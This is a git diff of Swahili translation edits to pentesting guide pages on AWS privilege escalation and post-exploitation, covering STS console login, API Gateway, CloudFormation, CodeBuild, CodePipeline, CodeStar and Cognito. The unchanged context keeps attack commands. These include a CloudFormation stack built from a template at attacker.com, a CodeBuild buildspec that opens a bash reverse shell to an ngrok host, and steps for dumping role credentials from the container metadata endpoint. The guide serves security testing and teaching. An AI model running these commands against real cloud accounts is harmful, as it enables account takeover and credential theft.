a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index c722b6022..bb7420b16 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -12,12 +12,12 @@ Kwa maelezo zaidi: ### Kutoka kwa IAM Creds hadi Console -Ikiwa umeweza kupata baadhi ya akreditif za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\ +Ikiwa umeweza kupata baadhi ya akreditivu za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\ Kumbuka kwamba mtumiaji/role lazima iwe na ruhusa **`sts:GetFederationToken`**. #### Skripti ya Kawaida -Skripti ifuatayo itatumia profaili ya kawaida na eneo la AWS la kawaida (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console: +Skripti ifuatayo itatumia profaili ya kawaida na eneo la kawaida la AWS (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -65,22 +64,22 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kukubali. +> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kuchukua. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akreditivu za AWS katika mazingira ya maendeleo. +[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akidi za AWS katika mazingira ya maendeleo. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Unaweza pia kutumia **aws-vault** kupata **kipindi cha mkondoni cha kivinjari** +> Unaweza pia kutumia **aws-vault** kupata **kipindi cha kikao cha kivinjari** ### **Kupita vizuizi vya User-Agent kutoka Python** -Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na user agent** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na user agent) inawezekana kutumia mbinu ya awali ili **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha user-agent wa boto3** kwa kufanya: +Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na agent ya mtumiaji** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na agent ya mtumiaji) inawezekana kutumia mbinu ya awali **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha agent ya mtumiaji ya boto3** kwa kufanya: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index fcea52c4a..760058420 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,14 +4,14 @@ ## AWS Privilege Escalation -Njia ya kupandisha hadhi yako katika AWS ni kuwa na ruhusa za kutosha ili uweze, kwa namna fulani, kufikia ruhusa za majukumu/katumizi/mikundi mingine. Kuunganisha kupandisha hadhi hadi upate ufikiaji wa admin juu ya shirika. +Njia ya kupandisha hadhi yako katika AWS ni kuwa na ruhusa za kutosha ili, kwa namna fulani, kufikia ruhusa za majukumu/katumizi/mikundi mingine. Kuunganisha kupandisha hadhi hadi upate ufikiaji wa admin juu ya shirika. > [!WARNING] > AWS ina **mamia** (ikiwa si maelfu) ya **ruhusa** ambazo chombo kinaweza kupewa. Katika kitabu hiki unaweza kupata **ruhusa zote ninazozijua** ambazo unaweza kutumia vibaya ili **kupandisha hadhi**, lakini ikiwa unajua **njia fulani** ambayo haijatajwa hapa, **tafadhali shiriki**. > [!CAUTION] -> Ikiwa sera ya IAM ina `"Effect": "Allow"` na `"NotAction": "Someaction"` ikionyesha **rasilimali**... hiyo inamaanisha kwamba **mwanachama aliye ruhusiwa** ana **ruhusa ya kufanya KILA KITU isipokuwa ile hatua iliyoainishwa**.\ -> Hivyo kumbuka kwamba hii ni njia nyingine ya **kutoa ruhusa za kipaumbele** kwa mwanachama. +> Ikiwa sera ya IAM ina `"Effect": "Allow"` na `"NotAction": "Someaction"` ikionyesha **rasilimali**... hiyo inamaanisha kwamba **mwenye ruhusa aliyeidhinishwa** ana **ruhusa ya kufanya KILA KITU isipokuwa ile hatua iliyoainishwa**.\ +> Hivyo kumbuka kwamba hii ni njia nyingine ya **kutoa ruhusa za kipaumbele** kwa mwenye ruhusa. **Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Ndani yake utaweza kupata ruhusa ambazo zitakuruhusu kupandisha hadhi.** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 2437ab9a4..f1b107c04 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -25,11 +25,11 @@ Kwa ruhusa hii unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa ( aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti. +**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji wa uwezekano ambao API gateway inaweza kuwa nao (kama kuitisha lambda iliyo hatarini). +Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji ambao API gateway inaweza kuwa nao (kama kuanzisha lambda iliyo hatarini). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ @@ -56,7 +56,7 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la kazi ya Lambda. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` @@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > Inahitaji kupimwa -Mshambuliaji mwenye ruhusa `apigateway:UpdateVpcLink` anaweza **kubadilisha Kiungo cha VPC kilichopo ili kiashirie kwenye Balansi ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwenye rasilimali zisizoidhinishwa au zenye uharibifu**. +Mshambuliaji mwenye ruhusa `apigateway:UpdateVpcLink` anaweza **kubadilisha VPC Link iliyopo ili kuelekeza kwenye Balancer ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwa rasilimali zisizoidhinishwa au zenye uharibifu**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 3b62932ff..369f5c382 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu cloudformation angalia: ### `iam:PassRole`, `cloudformation:CreateStack` -Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:** +Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** yenye kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -Katika kesi hii unaweza **kuitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali: +Katika kesi hii unaweza **kutitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -37,23 +37,23 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. +Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. -**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa. +**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusaidia stacks** zilizotumika na kutumia **IAM Roles walizo tayari wameambatanisha**. Angalia sehemu ya awali kwa mfano wa exploit (usionyeshe jukumu lolote katika sasisho). +Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusasisha stacks** zinazotumika na kutumia vibaya **IAM Roles ambazo tayari zimeunganishwa**. Angalia sehemu ya awali kwa mfano wa matumizi (usionyeshe jukumu lolote katika sasisho). -The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. +Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. -**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa tayari. +**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa tayari. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia huduma za cloudformation** kama ilivyo kwa CreateStack au UpdateStack. +Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia vibaya jukumu la huduma la cloudformation** kama ilivyo kwa CreateStack au UpdateStack. -Exploit ifuatayo ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack. +Mfano ufuatao ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -The `cloudformation:SetStackPolicy` permission can be used to **kujipa ruhusa za `ChangeSet`** juu ya stack na kufanya shambulio. +Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujipewe ruhusa za `ChangeSet`** juu ya stack na kutekeleza shambulio. **Athari Zinazoweza Kutokea:** Privesc kwa majukumu ya huduma ya cloudformation. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index b8a488fef..b56eda6fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Subiri kwa dakika chache** ili stack itengenezwe na kisha **pata matokeo** ya stack ambapo **vithibitisho vinahifadhiwa**: +**Subiri kwa dakika chache** ili stack itengenezwe kisha **pata matokeo** ya stack ambapo **vithibitisho vinahifadhiwa**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ --region uswest-2 ``` -### References +### Marejeo - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 0329a86a5..8f2991033 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -61,7 +61,7 @@ aws codebuild start-build-batch --project --buildspec-override fi **Kumbuka**: Tofauti kati ya amri hizi mbili ni kwamba: - `StartBuild` inachochea kazi moja ya kujenga kwa kutumia `buildspec.yml` maalum. -- `StartBuildBatch` inakuwezesha kuanzisha kundi la ujenzi, na mipangilio tata zaidi (kama kuendesha ujenzi kadhaa kwa wakati mmoja). +- `StartBuildBatch` inakuwezesha kuanzisha kundi la ujenzi, kwa mipangilio tata zaidi (kama kuendesha ujenzi kadhaa kwa wakati mmoja). **Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa. @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Mfano2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -140,13 +140,13 @@ aws codebuild start-build --project-name reverse-shell-project **Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la AWS Codebuild. > [!WARNING] -> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya mazingira yanayohitajika kufikia **akiba ya metadata**. +> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya env yanayohitajika kufikia **akiba ya metadata**. -> Faili hii ina **mabadiliko ya mazingira `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo yana **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Faili hii ina **mabadiliko ya env `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Ongeza hiyo kwenye URL **`http://169.254.170.2/`** na utaweza kudump akiba ya jukumu. -> Zaidi ya hayo, pia ina **mabadiliko ya mazingira `ECS_CONTAINER_METADATA_URI`** ambayo yana URL kamili ya kupata **taarifa za metadata kuhusu konteina**. +> Zaidi ya hayo, pia ina **mabadiliko ya env `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **habari za metadata kuhusu konteina**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Kuwa na **idhini za kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa. +Kuwa na **idhini ya kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa. Mradi wa codebuild utahitaji kuwa na breakpoint: @@ -317,13 +317,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Impact:** Moja kwa moja privesc kwa jukumu linalotumiwa na mfanyakazi wa AWS CodeBuild ambao kwa kawaida una mamlaka ya juu. +**Impact:** Privesc ya moja kwa moja kwa jukumu linalotumiwa na mfanyakazi wa AWS CodeBuild ambalo mara nyingi lina mamlaka ya juu. > [!WARNING] -> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia +> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia. -Maelezo zaidi yanaweza kupatikana [hapa](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Maelezo zaidi yanaweza kupatikana [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Moja kwa moja privesc kwa majukumu ya AWS Codebuild yaliyoambatanishwa. +**Potential Impact:** Privesc ya moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index ddfc11385..98ea74b44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -14,9 +14,9 @@ Kwa maelezo zaidi kuhusu codepipeline angalia: Unapounda code pipeline unaweza kuashiria **codepipeline IAM Role ya kuendesha**, hivyo unaweza kuathiri hizo. -Mbali na ruhusa zilizotajwa hapo awali unahitaji **ufikiaji wa mahali ambapo msimbo umehifadhiwa** (S3, ECR, github, bitbucket...) +Mbali na ruhusa za awali unahitaji **ufikiaji wa mahali ambapo msimbo umehifadhiwa** (S3, ECR, github, bitbucket...) -Nilijaribu hii kwa kufanya mchakato kwenye tovuti, ruhusa zilizotajwa hapo awali si zile za Orodha/Pata zinazohitajika kuunda codepipeline, lakini ili kuunda kwenye wavuti pia utahitaji: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Nilijaribu hii kwa kufanya mchakato kwenye tovuti, ruhusa zilizoashiriwa hapo awali si zile za Orodha/Pata zinazohitajika kuunda codepipeline, lakini ili kuunda kwenye wavuti pia utahitaji: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` Wakati wa **kuunda mradi wa kujenga** unaweza kuashiria **amri ya kuendesha** (rev shell?) na kuendesha awamu ya kujenga kama **mtumiaji mwenye mamlaka**, hiyo ndiyo usanidi anahitaji mshambuliaji kuathiri: @@ -26,7 +26,7 @@ Wakati wa **kuunda mradi wa kujenga** unaweza kuashiria **amri ya kuendesha** (r ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -Inaweza kuwa inawezekana kubadilisha jukumu lililotumika na amri inayotekelezwa kwenye codepipeline kwa ruhusa zilizotangulia. +Inaweza kuwa inawezekana kubadilisha jukumu lililotumika na amri inayotekelezwa kwenye codepipeline kwa ruhusa za awali. ### `codepipeline:pollforjobs` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 16b4dbdf4..d6b33f3d8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -Kwa ruhusa hizi unaweza **kutumia codestar IAM Role** kufanya **vitendo vya kawaida** kupitia **cloudformation template**. Angalia ukurasa ufuatao: +Kwa ruhusa hizi unaweza **kutumia codestar IAM Role** kufanya **vitendo vya kiholela** kupitia **cloudformation template**. Angalia ukurasa ufuatao: {{#ref}} iam-passrole-codestar-createproject.md @@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -Ikiwa wewe ni **mwanachama wa mradi** tayari unaweza kutumia ruhusa **`codestar:UpdateTeamMember`** kubadilisha **nafasi yako** kuwa mmiliki badala ya `codestar:AssociateTeamMember` +Ikiwa wewe ni **mwanachama wa mradi** tayari unaweza kutumia ruhusa **`codestar:UpdateTeamMember`** kuboresha **nafasi yako** kuwa mmiliki badala ya `codestar:AssociateTeamMember`. **Athari Zinazoweza Kutokea:** Privesc kwa sera ya codestar iliyoundwa. Unaweza kupata mfano wa sera hiyo katika: @@ -52,16 +52,16 @@ codestar-createproject-codestar-associateteammember.md 1. **Unda Mradi Mpya:** - Tumia hatua **`codestar:CreateProjectFromTemplate`** kuanzisha uundaji wa mradi mpya. - Baada ya uundaji kufanikiwa, ufikiaji unapatikana moja kwa moja kwa **`cloudformation:UpdateStack`**. -- Ufikiaji huu unalenga stack inayohusiana na nafasi ya `CodeStarWorker--CloudFormation` IAM. +- Ufikiaji huu unalenga stack inayohusiana na nafasi ya `CodeStarWorker--CloudFormation` IAM. 2. **Sasisha Stack Inayolengwa:** - Kwa ruhusa za CloudFormation zilizotolewa,endelea kusasisha stack iliyoainishwa. - Jina la stack kawaida litafuata moja ya mifumo miwili: -- `awscodestar--infrastructure` -- `awscodestar--lambda` -- Jina halisi linategemea template iliyochaguliwa (kurejelea mfano wa script ya unyakuzi). +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- Jina halisi linategemea templeti iliyochaguliwa (ukirejelea skripti ya mfano ya unyakuzi). 3. **Ufikiaji na Ruhusa:** - Baada ya sasisho, unapata uwezo uliopewa **nafasi ya CloudFormation IAM** inayohusiana na stack. -- Kumbuka: Hii haipati moja kwa moja ruhusa kamili za msimamizi. Rasilimali zingine zilizowekwa vibaya ndani ya mazingira zinaweza kuhitajika ili kuongeza ruhusa zaidi. +- Kumbuka: Hii haipati ruhusa kamili za msimamizi kwa asili. Rasilimali zingine zisizo na mpangilio ndani ya mazingira zinaweza kuhitajika ili kuongeza ruhusa zaidi. Kwa maelezo zaidi angalia utafiti wa asili: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ Unaweza kupata unyakuzi katika [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 5f066280e..351af0d89 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Hii ni sera iliyoundwa ambayo mtumiaji anaweza kuprivesc (jina la mradi lilikuwa `supercodestar`): +Hii ni sera iliyoundwa ambayo mtumiaji anaweza privesc kwa (jina la mradi lilikuwa `supercodestar`): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 639cb698b..ab672c545 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -34,7 +34,7 @@ Pia **pakia** faili hili la `empty zip` kwenye **bucket**: Kumbuka kwamba **bucket yenye faili zote mbili inapaswa kufikiwa na akaunti ya mwathirika**. -Kwa vitu vyote viwili kupakiwa sasa unaweza kuendelea na **exploitation** kwa kuunda mradi wa **codestar**: +Kwa vitu vyote viwili vilivyopakuliwa sasa unaweza kuendelea na **exploitation** kwa kuunda mradi wa **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -Hii exploit inategemea **Pacu exploit ya haki hizi**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Juu yake unaweza kupata toleo la kuunda sera ya usimamizi wa admin kwa jukumu badala ya kwa mtumiaji. +Huu uvunjaji unategemea **uvunjaji wa Pacu wa haki hizi**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Juu yake unaweza kupata toleo la kuunda sera ya usimamizi wa admin kwa jukumu badala ya kwa mtumiaji. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index d4fe779ff..05d981e69 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -10,9 +10,9 @@ Kwa maelezo zaidi kuhusu Cognito angalia: ../aws-services/aws-cognito-enum/ {{#endref}} -### Kukusanya akreditivu kutoka kwa Identity Pool +### Kukusanya akreditif kutoka kwa Identity Pool -Kama Cognito inaweza kutoa **IAM role credentials** kwa **watumiaji walioidhinishwa** na **wasioidhinishwa**, ikiwa utapata **Identity Pool ID** ya programu (inapaswa kuwa imeandikwa ndani yake) unaweza kupata akreditivu mpya na hivyo privesc (ndani ya akaunti ya AWS ambapo huenda hukuwahi kuwa na akreditivu yoyote hapo awali). +Kama Cognito inaweza kutoa **IAM role credentials** kwa **watumiaji walioidhinishwa** na **wasioidhinishwa**, ikiwa utapata **Identity Pool ID** ya programu (inapaswa kuwa imeandikwa ndani yake) unaweza kupata akreditif mpya na hivyo privesc (ndani ya akaunti ya AWS ambapo huenda hukuwahi kuwa na akreditif yoyote hapo awali). Kwa maelezo zaidi [**angalia ukurasa huu**](../aws-unauthenticated-enum-access/#cognito). @@ -38,7 +38,7 @@ Ikiwa programu ya cognito **haijawa na watumiaji wasio na uthibitisho** unaweza ### `cognito-identity:update-identity-pool` -Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Maktaba ya Watumiaji wa Cognito chini ya udhibiti wake au mtoa huduma mwingine wa utambulisho ambapo anaweza kuingia kama **njia ya kufikia Maktaba hii ya Utambulisho wa Cognito**. Kisha, tu **ingia** kwenye mtoa huduma huyo wa mtumiaji itamruhusu **kuweza kufikia jukumu lililowekwa la uthibitisho katika Maktaba ya 